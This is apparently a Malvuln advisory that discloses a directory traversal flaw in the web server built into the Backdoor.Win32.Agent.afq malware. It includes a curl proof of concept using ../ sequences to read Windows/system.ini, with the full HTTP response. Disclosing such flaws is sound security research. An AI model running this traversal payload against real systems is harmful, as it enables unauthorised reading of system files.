Backdoor.Win32.Agent.afq Directory Traversal

Backdoor.Win32.Agent.afq malware suffers from a directory traversal vulnerability.


MD5 | 4366de52456ebadbb82046cc42dd5a78

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.afq
Vulnerability: Directory Traversal
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. The server allows third-party attackers to read arbitrary files outside of its root directory via ../ character sequences in the pathname.
Type: PE32
MD5: 853754de6b8ffbe1321a8c91aab5c232
Vuln ID: MVID-2021-0189
Dropped files:
Disclosure: 04/27/2021

Exploit/PoC:
curl http://192.168.88.127:8080/../../../../../../Windows/system.ini -v
* Rebuilt URL to: http://192.168.88.127:8080/Windows/system.ini
* Trying 192.168.88.127...
* TCP_NODELAY set
* Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)
GET /Windows/system.ini HTTP/1.1
Host: 192.168.88.127:8080
User-Agent: curl/7.55.1
Accept: */*

HTTP 1.0, assume close after body
HTTP/1.0 200 OK
Date: Tue, 27 Apr 2021 01:33:58 GMT
Server: UberWWW v. 1.1
Content-Type: application/octet-stream
Connection: close

; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
* Closing connection 0


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts